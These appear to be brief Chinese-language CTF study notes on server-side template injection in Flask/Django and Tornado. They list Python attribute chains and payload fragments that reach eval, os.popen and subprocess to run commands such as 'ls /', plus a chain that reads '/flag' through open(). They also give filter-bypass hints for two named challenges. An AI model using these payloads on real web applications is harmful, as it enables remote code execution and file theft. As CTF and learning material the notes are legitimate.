SSTI 模板注入
flask/Django
- 找到可以调用的类
- 调用函数读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| //step 1 .__class__ //查看类属性 .__base__ //查看直接父类 .__bases__ //查看所有父类 .__subclasses__()//查看所有子类 .__mro__//查看类继承顺序 //step2 2 __init__ //初始化类,返回的类型是function __globals__ //使用方式是 函数名'.__globals__'获取函数所处空间下可使用的module、方法以及所有变量。 __builtins__ //内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身,要在函数内部访问内置函数(如 `eval`)或内置对象(如 `os`),需要通过 `__builtins__` 来访问 //命令执行和文件读取函数 eval() --> __init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()') os模块 --> __init__.__globals__['os'].popen("ls /").read() popen函数 --> __init__.__globals__['popen']("ls /").read() importlib类 --> ["load_module"]("os")["popen"]("ls /").read() linecache函数 --> __init__.globals__['linecache']['os'].popen('ls /').read() subprocess.Popen 类 //文件读取 FileLoader catch_warnings --> __init__.__globals__.__builtins__.open('/flag','r').read()
|
Tornando
Tornado使用 {% ... %} 来包裹控制语句,用 {{ ... }} 来包裹表达式
1 2 3 4 5 6 7 8 9 10 11 12 13
| handler {{ handler.get_argument(‘cmd’) }} 获取名为cmd的GET或者POST参数 {{ handler.request.arguments }} 以词典的形式返回所有参数 {{ handler.settings }} 包含Tornado的配置信息
request 访问当前的http请求 request.url request.method ...
|
ezssti
过滤通了数字过__len__()函数获取数字
攻防世界shrine
过滤了正反括号使用了
url_for